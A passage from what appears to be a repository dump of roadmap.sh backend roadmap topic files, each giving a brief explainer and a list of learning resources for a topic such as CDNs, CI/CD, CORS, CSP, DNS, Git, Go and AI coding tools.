    "content": "# CDN (Content Delivery Network)\n\nCDN (Content Delivery Network) delivers website assets from geographically closer servers to improve performance and availability. Services like CloudFlare, AWS CloudFront, and Akamai reduce bandwidth, add caching layers, and enhance security through global server networks.\n\nVisit the following resources to learn more:\n\n- [@article@CloudFlare - What is a CDN? | How do CDNs work?](https://www.cloudflare.com/en-ca/learning/cdn/what-is-a-cdn/)\n- [@article@AWS - CDN](https://aws.amazon.com/what-is/cdn/)\n- [@video@What is Cloud CDN?](https://www.youtube.com/watch?v=841kyd_mfH0)\n- [@video@What is a CDN and how does it work?](https://www.youtube.com/watch?v=RI9np1LWzqw)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/ci--cd@mGfD7HfuP184lFkXZzGjG.md",
    "content": "# CI/CD\n\nCI/CD automates building, testing, and deploying code changes. Continuous Integration merges code frequently with automated builds/tests. Continuous Delivery/Deployment extends this to staging/production. Improves software quality and development efficiency through early issue detection.\n\nVisit the following resources to learn more:\n\n- [@article@What is CI/CD?](https://about.gitlab.com/topics/ci-cd/)\n- [@article@A Primer: Continuous Integration and Continuous Delivery (CI/CD)](https://thenewstack.io/a-primer-continuous-integration-and-continuous-delivery-ci-cd/)\n- [@article@Articles about CI/CD](https://thenewstack.io/category/ci-cd/)\n- [@video@DevOps CI/CD Explained in 100 Seconds](https://www.youtube.com/watch?v=scEDHsr3APg)\n- [@video@Automate your Workflows with GitHub Actions](https://www.youtube.com/watch?v=nyKZTKQS_EQ)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/circuit-breaker@spkiQTPvXY4qrhhVUkoPV.md",
    "content": "# Circuit Breaker\n\nCircuit breaker pattern protects systems from failures by temporarily stopping operations when overloaded. Has three states: closed (normal), open (stopped operations), and half-open (testing recovery). Prevents cascading failures in distributed systems.\n\nVisit the following resources to learn more:\n\n- [@official@Circuit Breaker - Azure Architecture Patterns](https://learn.microsoft.com/en-us/azure/architecture/patterns/circuit-breaker)\n- [@opensource@Resilience4j - Circuit Breaker Library for Java](https://github.com/resilience4j/resilience4j)\n- [@article@Circuit Breaker - AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/reliability-pillar/rel_mitigate_interaction_failure_graceful_degradation.html)\n- [@article@The Circuit Breaker Pattern](https://aerospike.com/blog/circuit-breaker-pattern/)\n- [@video@What is the Circuit Breaker Pattern?](https://www.youtube.com/watch?v=ADHcBxEXvFA)\n- [@video@Back to Basics: Static Stability Using a Circuit Breaker Pattern](https://www.youtube.com/watch?v=gy1RITZ7N7s)"
  },
  {
    "path": "src/data/roadmaps/backend/content/claude-code@RcC1fVuePQZ59AsJfeTdR.md",
    "content": "# Claude Code\n\nClaude Code is a family of large language models designed for code generation and understanding. It excels at tasks like code completion, bug finding, documentation, and even translating code between different programming languages. Essentially, it's a tool that helps developers write, understand, and maintain code more efficiently by leveraging artificial intelligence.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Claude Code Roadmap](https://roadmap.sh/claude-code)\n- [@official@Claude Code Overview](https://code.claude.com/docs/en/overview)\n- [@article@Claude Code: From Zero to Hero](https://medium.com/@dan.avila7/claude-code-from-zero-to-hero-bebe2436ac32)\n- [@video@Claude Code Tutorial for Beginners](https://www.youtube.com/watch?v=eMZmDH3T2bY)"
  },
  {
    "path": "src/data/roadmaps/backend/content/clickhouse@ZyGLSvx17p7QmYDy1LFbM.md",
    "content": "# ClickHouse\n\nClickHouse is an open-source, column-oriented database management system designed for online analytical processing (OLAP). It excels at processing large volumes of data quickly, making it suitable for applications that require real-time analysis and reporting. Its column-oriented storage allows for efficient data compression and retrieval, as it only reads the columns needed for a specific query.\n\nVisit the following resources to learn more:\n\n- [@official@ClickHouse](https://clickhouse.com/)\n- [@official@What is ClickHouse?](https://clickhouse.com/docs/intro)\n- [@opensource@clickhouse](https://github.com/ClickHouse/ClickHouse)\n- [@video@How to Get Started with ClickHouse](https://www.youtube.com/watch?v=6mmQUOmA-T0&list=PL0Z2YDlm0b3gtIdcZI3B_8bMJclDOvY8s)\n- [@video@Authenticating in ClickHouse with an SSH Key](https://www.youtube.com/watch?v=Rhe-kUyrFUE&list=PL0Z2YDlm0b3gcY5R_MUo4fT5bPqUQ66ep)"
  },
  {
    "path": "src/data/roadmaps/backend/content/client-side@KWTbEVX_WxS8jmSaAX3Fe.md",
    "content": "# Client Side Caching\n\nClient-side caching stores data locally on user devices to improve performance and reduce server load. Uses HTTP caching headers, service workers, and local storage APIs. Reduces network traffic and load times but requires careful cache invalidation strategies.\n\nVisit the following resources to learn more:\n\n- [@article@Client Side Caching](https://redis.io/docs/latest/develop/use/client-side-caching/)\n- [@video@Everything you need to know about HTTP Caching](https://www.youtube.com/watch?v=HiBDZgTNpXY)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/code-reviews@0TMdly8yiqnNR8sx36iqc.md",
    "content": "# AI-Powered Code Reviews\n\nAI-powered code reviews leverage machine learning models to analyze source code and identify potential issues, such as bugs, security vulnerabilities, code style violations, and performance bottlenecks. These tools can automate parts of the code review process, freeing up developers to focus on more complex problems and improving the overall quality and maintainability of the codebase.\n\nVisit the following resources to learn more:\n\n- [@article@AI Code Reviews](https://github.com/resources/articles/ai-code-reviews)\n- [@article@AI Code Review: How to Make it Work for You](https://www.startearly.ai/post/ai-code-review-how-to-make-it-work-for-you)\n- [@video@You've Been Using AI the Hard Way (Use This Instead)](https://www.youtube.com/watch?v=MsQACpcuTkU)\n- [@video@Automatic code reviews with OpenAI Codex](https://www.youtube.com/watch?v=HwbSWVg5Ln4&t=83s)"
  },
  {
    "path": "src/data/roadmaps/backend/content/containerization-vs-virtualization@SGVwJme-jT_pbOTvems0v.md",
    "content": "# Containerization vs. Virtualization\n\nVirtualization creates VMs with separate OS instances on hypervisors, offering strong isolation but using more resources. Containerization shares OS kernel for lighter, faster-starting containers ideal for microservices. VMs provide better security isolation; containers offer efficiency and scalability.\n\nVisit the following resources to learn more:\n\n- [@article@Containerization vs. Virtualization: Everything you need to know](https://middleware.io/blog/containerization-vs-virtualization/)\n- [@video@Virtual Machine (VM) vs Docker](https://www.youtube.com/watch?v=a1M_thDTqmU)\n- [@feed@Explore top posts about Containers](https://app.daily.dev/tags/containers?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/cookie-based-auth@ffzsh8_5yRq85trFt9Xhk.md",
    "content": "# Cookie-Based Authentication\n\nCookie-based authentication maintains user sessions by storing session IDs in browser cookies. Server stores session data and uses cookies as keys. Simple to implement and browser-native, but vulnerable to CSRF attacks and challenging for cross-origin requests.\n\nVisit the following resources to learn more:\n\n- [@official@HTTP Cookies - MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)\n- [@article@How does cookie based authentication work?](https://stackoverflow.com/questions/17769011/how-does-cookie-based-authentication-work)\n- [@article@Session vs Token Authentication](https://www.section.io/engineering-education/token-based-vs-session-based-authentication/)\n- [@article@Cookies vs LocalStorage vs SessionStorage](https://dev.to/cotter/localstorage-vs-cookies-all-you-need-to-know-about-storing-jwt-tokens-securely-in-the-front-end-15id)\n- [@video@Session vs Token Authentication in 100 Seconds](https://www.youtube.com/watch?v=UBUNrFtufWo)\n- [@video@How do cookies work?](https://www.youtube.com/watch?v=rdVPflECed8)"
  },
  {
    "path": "src/data/roadmaps/backend/content/copilot@HQrxxDxKN8gizvXRU5psW.md",
    "content": "# Copilot\n\nCopilot is an AI-powered coding assistant developed by GitHub and OpenAI. It suggests lines of code and entire functions in real-time as you type, based on the context of your code and comments. It learns from a massive dataset of publicly available code, allowing it to offer relevant and accurate suggestions.\n\nVisit the following resources to learn more:\n\n- [@official@Quickstart for GitHub Copilot](https://docs.github.com/en/copilot/quickstart)\n- [@article@What is GitHub Copilot?](https://www.codecademy.com/article/what-is-github-copilot)\n- [@video@Getting started with GitHub Copilot | Tutorial](https://www.youtube.com/watch?v=n0NlxUyA7FI)\n- [@video@Intro to GitHob Copilot in Visual Studio](https://www.youtube.com/watch?v=z1ycDvspv8U)\n- [@video@GitHub Copilot in VSCode: Top 10 Features Explained](https://www.youtube.com/watch?v=2nPoiUJpDaU)"
  },
  {
    "path": "src/data/roadmaps/backend/content/cors@LU6WUbkWKbPM1rb2_gEqa.md",
    "content": "# Cors\n\nCORS (Cross-Origin Resource Sharing) is a browser security mechanism controlling cross-domain resource access. Uses HTTP headers and preflight requests to determine allowed origins. Extends Same-Origin Policy while preventing unauthorized access to sensitive data.\n\nVisit the following resources to learn more:\n\n- [@article@Cross-Origin Resource Sharing (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)\n- [@article@Understanding CORS](https://rbika.com/blog/understanding-cors)\n- [@video@CORS in 100 Seconds](https://www.youtube.com/watch?v=4KHiSt0oLJ0)\n- [@video@CORS in 6 minutes](https://www.youtube.com/watch?v=PNtFSVU-YTI)"
  },
  {
    "path": "src/data/roadmaps/backend/content/couchdb@qOlNzZ7U8LhIGukb67n7U.md",
    "content": "# CouchDB\n\nApache CouchDB is a document-oriented NoSQL database using JSON for data storage, JavaScript MapReduce for queries, and HTTP for API access. Stores independent documents with self-contained schemas instead of relational tables.\n\nVisit the following resources to learn more:\n\n- [@official@CouchDB](https://couchdb.apache.org/)\n- [@official@CouchDB Documentation](https://docs.couchdb.org/en/stable/)\n- [@video@What is CouchDB?](https://www.youtube.com/watch?v=Mru4sHzIfSA)\n- [@feed@Explore top posts about CouchDB](https://app.daily.dev/tags/couchdb?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/cqrs@u8IRw5PuXGUcmxA0YYXgx.md",
    "content": "# CQRS\n\nCQRS (Command Query Responsibility Segregation) separates read and write operations for data stores. Commands handle modifications, queries handle retrieval. Allows independent scaling and optimization of read/write sides, improving performance in complex systems but adding complexity.\n\nVisit the following resources to learn more:\n\n- [@official@CQRS Pattern - Azure Architecture Center](https://docs.microsoft.com/en-us/azure/architecture/patterns/cqrs)\n- [@article@CQRS by Martin Fowler](https://martinfowler.com/bliki/CQRS.html)\n- [@article@CQRS Pattern - microservices.io](https://microservices.io/patterns/data/cqrs.html)\n- [@article@CQRS and Event Sourcing](https://www.eventstore.com/blog/why-use-cqrs)\n- [@video@Learn CQRS Pattern in 5 minutes!](https://www.youtube.com/watch?v=eiut3FIY1Cg)\n- [@video@CQRS and Event Sourcing Explained](https://www.youtube.com/watch?v=mjFiRFJuMRs)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/csp@HgQBde1zLUFtlwB66PR6_.md",
    "content": "# Content Security Policy\n\nCSP (Content Security Policy) prevents XSS and code injection attacks by specifying trusted content sources. Implemented via HTTP headers or meta tags, defining rules for scripts, stylesheets, images, and fonts. Reduces malicious code execution risk but requires careful configuration.\n\nVisit the following resources to learn more:\n\n- [@article@MDN — Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)\n- [@article@Google Devs — Content Security Policy (CSP)](https://developers.google.com/web/fundamentals/security/csp)\n- [@video@Content Security Policy Explained](https://www.youtube.com/watch?v=-LjPRzFR5f0)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/css@utA1W2O6pzoV_LbtDE5DN.md",
    "content": "# CSS\n\nCSS (Cascading Style Sheets) is a stylesheet language used to describe the presentation of a document written in HTML or XML (including XML dialects such as SVG, MathML or XHTML). It controls the layout, colors, fonts, and other visual aspects of web pages, ensuring a consistent and visually appealing user experience. CSS allows developers to separate content from presentation, making websites easier to maintain and update.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated CSS Roadmap](https://roadmap.sh/css)\n- [@book@HTML & CSS: design and build websites](https://sites.math.duke.edu/courses/math_everywhere/assets/techRefs/HTML%20and%20CSS-%20Design%20and%20Build%20Websites_Jon%20Duckett_2011.pdf)\n- [@article@CSS MDN Docs](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/What_is_CSS)\n- [@article@CSS | Wikipedia](https://en.wikipedia.org/wiki/CSS)\n- [@video@CSS Tutorial – Full Course for Beginners](https://www.youtube.com/watch?v=OXGznpKZ_sA)"
  },
  {
    "path": "src/data/roadmaps/backend/content/cursor@CKlkVK_7GZ7xzIUHJqZr8.md",
    "content": "# Cursor\n\nCursor is an AI-powered code editor designed to enhance developer productivity. It leverages large language models to offer features like code completion, generation, and refactoring suggestions. By understanding code context, Cursor aims to automate repetitive tasks and provide intelligent assistance throughout the development process.\n\nVisit the following resources to learn more:\n\n- [@course@Cursor Learn](https://cursor.com/learn)\n- [@official@Cursor](https://cursor.com/)\n- [@official@Cursor Docs](https://cursor.com/docs)\n- [@article@Cursor AI: A Guide With 10 Practical Examples](https://www.datacamp.com/tutorial/cursor-ai-code-editor)\n- [@video@Cursor AI Tutorial for Beginners](https://www.youtube.com/watch?v=3289vhOUdKA)\n- [@video@Cursor Tutorial for Beginners (AI Code Editor)](https://www.youtube.com/watch?v=ocMOZpuAMw4)"
  },
  {
    "path": "src/data/roadmaps/backend/content/data-replication@wrl7HHWXOaxoKVlNZxZ6d.md",
    "content": "# Data Replication\n\nData replication creates multiple copies of data across distributed system nodes for availability, reliability, and performance. Can be synchronous or asynchronous. Uses master-slave, multi-master, or peer-to-peer models. Improves fault tolerance but challenges data consistency.\n\nVisit the following resources to learn more:\n\n- [@article@Data Replication? - IBM](https://www.ibm.com/topics/data-replication)\n- [@video@What is Data Replication?](https://www.youtube.com/watch?v=iO8a1nMbL1o)"
  },
  {
    "path": "src/data/roadmaps/backend/content/database-indexes@y-xkHFE9YzhNIX3EiWspL.md",
    "content": "# Database Indexes\n\nDatabase indexes are data structures that speed up data retrieval by creating references to table data without full table scans. Include B-tree, bitmap, and hash types. Enhance query performance but increase storage requirements and slow down writes due to index maintenance.\n\nVisit the following resources to learn more:\n\n- [@official@PostgreSQL - Indexes](https://www.postgresql.org/docs/current/indexes.html)\n- [@article@What is a Database Index?](https://www.codecademy.com/article/sql-indexes)\n- [@article@How Do Database Indexes Work?](https://planetscale.com/blog/how-do-database-indexes-work)\n- [@article@Use the Index, Luke! - A Guide to Database Performance for Developers](https://use-the-index-luke.com/)\n- [@video@Database Indexing Explained](https://www.youtube.com/watch?v=-qNSXK7s7_w)\n- [@video@How do SQL Indexes Work](https://www.youtube.com/watch?v=fsG1XaZEa78)\n- [@feed@Explore top posts about Database](https://app.daily.dev/tags/database?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/design-and-development-principles@9Fpoor-Os_9lvrwu5Zjh-.md",
    "content": "# Design and Development Principles\n\nDesign and development principles guide software creation. Key principles include SOLID, DRY (Don't Repeat Yourself), KISS (Keep It Simple), YAGNI (You Aren't Gonna Need It), separation of concerns, modularity, encapsulation, composition over inheritance, and loose coupling.\n\nVisit the following resources to learn more:\n\n- [@article@Design Principles - Wikipedia](https://en.wikipedia.org/wiki/Design_principles)\n- [@article@Design Principles - Microsoft](https://docs.microsoft.com/en-us/dotnet/standard/design-guidelines/index)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/dgraph@GKrcTsUi5XWj_pP1TOK0S.md",
    "content": "# DGraph\n\nDGraph is a distributed, fast, and scalable graph database. It's designed to handle large amounts of data and complex relationships between data points. DGraph uses GraphQL as its query language, allowing developers to retrieve and manipulate data in a graph structure easily. It's built for production environments, offering features like ACID transactions, high availability, and horizontal scalability.\n\nVisit the following resources to learn more:\n\n- [@official@Dgraph](https://docs.hypermode.com/dgraph/overview)\n- [@opensource@dgraph](https://github.com/dgraph-io/dgraph)\n- [@article@Dgraph, what is a graph database anyway?](https://medium.com/@JalalOkbi/dgraph-what-is-a-graph-database-anyway-8b6c22fb1eeb)\n- [@video@What is Dgraph?](https://www.youtube.com/watch?v=7oufmZ0xbds)\n- [@video@Learn Dgraph in 20 minutes (Graph Database) quick tutorial](https://www.youtube.com/watch?v=roHj5G4vM9Q)"
  },
  {
    "path": "src/data/roadmaps/backend/content/dns-and-how-it-works@hkxw9jPGYphmjhTjw8766.md",
    "content": "# DNS\n\nDNS (Domain Name System) translates human-readable domain names into IP addresses. Uses hierarchical structure with root servers, TLD servers (.com, .org), authoritative servers, and local DNS servers. Essential for internet functionality, enabling memorable names instead of IP addresses.\n\nVisit the following resources to learn more:\n\n- [@article@Everything You Need to Know About DNS](https://cs.fyi/guide/everything-you-need-to-know-about-dns)\n- [@article@What is DNS?](https://www.cloudflare.com/en-gb/learning/dns/what-is-dns/)\n- [@article@How DNS works (comic)](https://howdns.works/)\n- [@video@DNS and How does it Work?](https://www.youtube.com/watch?v=Wj0od2ag5sk)\n- [@feed@Explore top posts about DNS](https://app.daily.dev/tags/dns?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/documentation-generation@q7NpwqQXUp4wt2to-yFiP.md",
    "content": "# Documentation Generation with AI\n\nAI-powered documentation generation leverages machine learning models to automatically create and maintain software documentation. These tools can analyze code, comments, and other project artifacts to produce API references, tutorials, and other types of documentation, reducing the manual effort required and ensuring accuracy and consistency. This helps developers by freeing them from manual tasks and ensuring that their APIs are well documented.\n\nVisit the following resources to learn more:\n\n- [@article@AI code documentation: Benefits and top tips](https://www.ibm.com/think/insights/ai-code-documentation-benefits-top-tips)\n- [@article@AI Code Documentation Generators: A Guide](https://overcast.blog/ai-code-documentation-generators-a-guide-b6cd72cd0ec4)\n- [@video@How I Built a Tool to Auto-Generate GitHub Documentation with LLMs](https://www.youtube.com/watch?v=QYchuz6nBR8)\n- [@video@How to Generate API Documentation Using AI](https://www.youtube.com/watch?v=1529XqH50Xs)"
  },
  {
    "path": "src/data/roadmaps/backend/content/domain-driven-design@BvHi5obg0L1JDZFKBzx9t.md",
    "content": "# Domain-Driven Design\n\nDomain-Driven Design (DDD) focuses on understanding business domains to inform software design. Emphasizes collaboration between technical and domain experts, creating ubiquitous language and bounded contexts. Uses entities, value objects, aggregates, and repositories for complex business logic.\n\nVisit the following resources to learn more:\n\n- [@article@Domain-Driven Design](https://redis.com/glossary/domain-driven-design-ddd/)\n- [@video@Domain Driven Design: What You Need To Know](https://www.youtube.com/watch?v=4rhzdZIDX_k)\n- [@feed@Explore top posts about Domain-Driven Design](https://app.daily.dev/tags/domain-driven-design?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/dynamodb@dwfEHInbX2eFiafM-nRMX.md",
    "content": "# DynamoDB\n\nAWS DynamoDB is a fully managed, serverless NoSQL database supporting key-value and document models. Offers single-digit millisecond latency, automatic scaling, global tables, and seamless scalability. Ideal for high-traffic web apps, gaming, mobile, and IoT solutions.\n\nVisit the following resources to learn more:\n\n- [@official@AWS DynamoDB](https://aws.amazon.com/dynamodb/)\n- [@video@AWS DynamoDB Tutorial For Beginners](https://www.youtube.com/watch?v=2k2GINpO308)\n- [@feed@daily.dev AWS DynamoDB Feed](https://app.daily.dev/tags/aws-dynamodb)"
  },
  {
    "path": "src/data/roadmaps/backend/content/elasticsearch@NulaE1isWqn-feYHg4YQT.md",
    "content": "# Elasticsearch\n\nElasticsearch is a document-oriented search engine and database supporting INSERT, DELETE, RETRIEVE operations and analytics. Unlike general databases, it's optimized for search with powerful features for fast data retrieval based on search criteria.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Elasticsearch Roadmap](https://roadmap.sh/elasticsearch)\n- [@official@Elasticsearch Website](https://www.elastic.co/elasticsearch/)\n- [@official@Elasticsearch Documentation](https://www.elastic.co/guide/index.html)\n- [@video@What is Elasticsearch](https://www.youtube.com/watch?v=ZP0NmfyfsoM)\n- [@feed@Explore top posts about ELK](https://app.daily.dev/tags/elk?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/embeddings@Ofv__kXuBk-Vv2jVhaFss.md",
    "content": "# Embeddings\n\nEmbeddings are dense, continuous vector representations of data, such as words, sentences, or images, in a lower-dimensional space. They capture the semantic relationships and patterns in the data, where similar items are placed closer together in the vector space. In machine learning, embeddings are used to convert complex data into numerical form that models can process more easily. For example, word embeddings represent words based on their meanings and contexts, allowing models to understand relationships like synonyms or analogies. Embeddings are widely used in tasks like natural language processing, recommendation systems, and image recognition to improve model performance and efficiency.\n\nVisit the following resources to learn more:\n\n- [@article@What are Embeddings in Machine Learning?](https://www.cloudflare.com/en-gb/learning/ai/what-are-embeddings/)\n- [@article@What is Embedding?](https://www.ibm.com/topics/embedding)\n- [@article@Getting Started With Embeddings](https://huggingface.co/blog/getting-started-with-embeddings)\n- [@article@A Guide on Word Embeddings in NLP](https://www.turing.com/kb/guide-on-word-embeddings-in-nlp)\n- [@video@What are Word Embeddings?](https://www.youtube.com/watch?v=wgfSDrqYMJ4)"
  },
  {
    "path": "src/data/roadmaps/backend/content/event-sourcing@wqE-mkxvehOzOv8UyE39p.md",
    "content": "# Event Sourcing\n\nEvent sourcing represents system state as a sequence of events over time. Changes are recorded as events in an event store, with current state derived by replaying events. Provides auditable history, supports undo/redo, often used with CQRS and DDD.\n\nVisit the following resources to learn more:\n\n- [@article@Event Sourcing - Martin Fowler](https://martinfowler.com/eaaDev/EventSourcing.html)\n- [@video@Event Sourcing 101](https://www.youtube.com/watch?v=lg6aF5PP4Tc)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/backend/content/failure-modes@GwApfL4Yx-b5Y8dB9Vy__.md",
    "content": "# Failure Modes\n\nDatabase failure modes include hardware failures, software bugs, data corruption, performance degradation, and distributed system inconsistencies. Common issues: data loss, unavailability, replication lag, deadlocks. Mitigated through redundancy, backups, transaction logging, and failover mechanisms.\n\nVisit the following resources to learn more:\n\n- [@course@Database Failure Modes](https://roadmap.sh/ai/course/database-failure-modes-prevention-and-recovery)"
  },
  {
    "path": "src/data/roadmaps/backend/content/firebase@RyJFLLGieJ8Xjt-DlIayM.md",
    "content": "# Firebase\n\nFirebase is Google's comprehensive mobile and web development platform offering real-time database, authentication, cloud storage, hosting, and analytics. Features serverless architecture, real-time synchronization, multiple auth providers, and development tools for testing and monitoring.\n\nVisit the following resources to learn more:\n\n- [@course@The Ultimate Guide to Firebase](https://fireship.io/lessons/the-ultimate-beginners-guide-to-firebase/)\n- [@official@Firebase](https://firebase.google.com/)\n- [@official@Firebase Documentation](https://firebase.google.com/docs)\n- [@video@Firebase in 100 seconds](https://www.youtube.com/watch?v=vAoB4VbhRzM)"
  },
  {
    "path": "src/data/roadmaps/backend/content/frontend-basics@oyg5g4-cY5EBEUgVkjnL3.md",
    "content": "# Frontend Basics\n\nFrontend basics encompass the core technologies and principles used to build the user interface of a web application. This includes HTML for structuring content, CSS for styling and visual presentation, and JavaScript for adding interactivity and dynamic behavior. Understanding these fundamentals is crucial for backend developers to effectively collaborate with frontend teams, design APIs that cater to frontend needs, and troubleshoot issues that may arise between the client and server sides.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the dedicated Frontend Developer Roadmap](https://roadmap.sh/frontend)\n- [@book@Frontend Development Handbook](https://github.com/FrontendMasters/front-end-handbook-2019/blob/master/exports/Front-end%20Developer%20Handbook%202019.pdf)\n- [@article@What Is Front-End Development?](https://cloudinary.com/guides/front-end-development/front-end-development-the-complete-guide)\n- [@video@Frontend web development - a complete overview](https://www.youtube.com/watch?v=WG5ikvJ2TKA)"
  },
  {
    "path": "src/data/roadmaps/backend/content/function-calling@Uve-UObgOBfrd-cLayVWe.md",
    "content": "# Function Calling\n\nLLM native “function calling” lets a large language model decide when to run a piece of code and which inputs to pass to it. You first tell the model what functions are available. For each one, you give a short name, a short description, and a list of arguments with their types. During a chat, the model can answer in JSON that matches this schema instead of plain text. Your wrapper program reads the JSON, calls the real function, and then feeds the result back to the model so it can keep going. This loop helps an agent search the web, look up data, send an email, or do any other task you expose. Because the output is structured, you get fewer mistakes than when the model tries to write raw code or natural-language commands.\n\nVisit the following resources to learn more:\n\n- [@article@A Comprehensive Guide to Function Calling in LLMs](https://thenewstack.io/a-comprehensive-guide-to-function-calling-in-llms/)\n- [@article@Function Calling with LLMs | Prompt Engineering Guide](https://www.promptingguide.ai/applications/function_calling)\n- [@article@Function Calling with Open-Source LLMs](https://medium.com/@rushing_andrei/function-calling-with-open-source-llms-594aa5b3a304)\n- [@video@LLM Function Calling - AI Tools Deep Dive](https://www.youtube.com/watch?v=gMeTK6zzaO4)"
  },
  {
    "path": "src/data/roadmaps/backend/content/functional-testing@NAGisfq2CgeK3SsuRjnMw.md",
    "content": "# Functional Testing\n\nFunctional testing ensures software meets functional requirements through black box testing. Testers provide input and compare expected vs actual output without understanding source code. Contrasts with non-functional testing (performance, load, scalability).\n\nVisit the following resources to learn more:\n\n- [@official@Playwright - End-to-End Testing Documentation](https://playwright.dev/docs/intro)\n- [@article@What is Functional Testing?](https://www.guru99.com/functional-testing.html)\n- [@article@Functional Testing: What It Is and How to Do It Right](https://www.atlassian.com/continuous-delivery/software-testing/functional-testing)\n- [@video@Functional Testing vs Non-Functional Testing](https://www.youtube.com/watch?v=NgQT7miTP9M)\n- [@video@Software Testing Tutorial for Beginners](https://www.youtube.com/watch?v=u6QfIXgjwGQ)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/gemini@Bic4PHhz-YqzPWRimJO83.md",
    "content": "# Gemini\n\nGemini is a family of multimodal large language models (LLMs) developed by Google. These models are designed to handle and understand different types of data, including text, code, images, audio, and video. They are used to build AI-powered features by providing capabilities such as natural language understanding, content generation, and complex reasoning.\n\nVisit the following resources to learn more:\n\n- [@official@Google Gemini](https://gemini.google.com/)\n- [@official@Google's Gemini Documentation](https://workspace.google.com/solutions/ai/)\n- [@video@Welcome to the Gemini era](https://www.youtube.com/watch?v=_fuimO6ErKI)"
  },
  {
    "path": "src/data/roadmaps/backend/content/git@_I1E__wCIVrhjMk6IMieE.md",
    "content": "# Git\n\nGit is a distributed version control system created by Linus Torvalds in 2005. Tracks code changes, enables collaborative development, maintains complete history, and supports branching/merging. Each developer has full repository copy, allowing offline work and robust collaboration.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git Documentation](https://git-scm.com/doc)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@article@Learn Git Branching](https://learngitbranching.js.org/)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@video@Learn Git - Full Course](https://www.youtube.com/watch?v=rH3zE7VlIMs)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/github@ptD8EVqwFUYr4W5A_tABY.md",
    "content": "# GitHub\n\nGitHub is Microsoft's web-based Git hosting platform offering repositories, pull requests, issues, and automated workflows. Supports public/private repos, code review, project management, and social coding features. Central hub for open-source and team development collaboration.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com)\n- [@official@GitHub Documentation](https://docs.github.com)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@video@Git vs. GitHub: Whats the difference?](https://www.youtube.com/watch?v=wpISo9TNjfU)\n- [@video@Git and GitHub for Beginners](https://www.youtube.com/watch?v=RGOj5yH7evk)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/gitlab@Wcp-VDdFHipwa7hNAp1z_.md",
    "content": "# GitLab\n\nGitLab is a comprehensive DevOps platform providing source code management, CI/CD, issue tracking, and more in one application. Features merge requests, built-in pipelines, container registry, and Kubernetes integration. Offers cloud-hosted and self-hosted options for complete development lifecycle management.\n\nVisit the following resources to learn more:\n\n- [@official@GitLab](https://gitlab.com/)\n- [@official@GitLab Documentation](https://docs.gitlab.com/)\n- [@video@What is GitLab and Why Use It?](https://www.youtube.com/watch?v=bnF7f1zGpo4)\n- [@feed@Explore top posts about GitLab](https://app.daily.dev/tags/gitlab?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/go@BdXbcz4-ar3XOX0wIKzBp.md",
    "content": "# Go\n\nGo (Golang) is Google's statically typed, compiled language combining efficiency with ease of use. Features built-in concurrency via goroutines and channels, simple syntax, fast compilation, and comprehensive standard library. Popular for microservices, web servers, and cloud-native development.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@official@Go Reference Documentation](https://go.dev/doc/)\n- [@article@Go by Example - annotated example programs](https://gobyexample.com/)\n- [@article@Go, the Programming Language of the Cloud](https://thenewstack.io/go-the-programming-language-of-the-cloud/)\n- [@video@Go Programming – Golang Course with Bonus Projects](https://www.youtube.com/watch?v=un6ZyFkqFKo)\n- [@feed@Explore top posts about Golang](https://app.daily.dev/tags/golang?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/backend/content/gof-design-patterns@6XIWO0MoE-ySl4qh_ihXa.md",
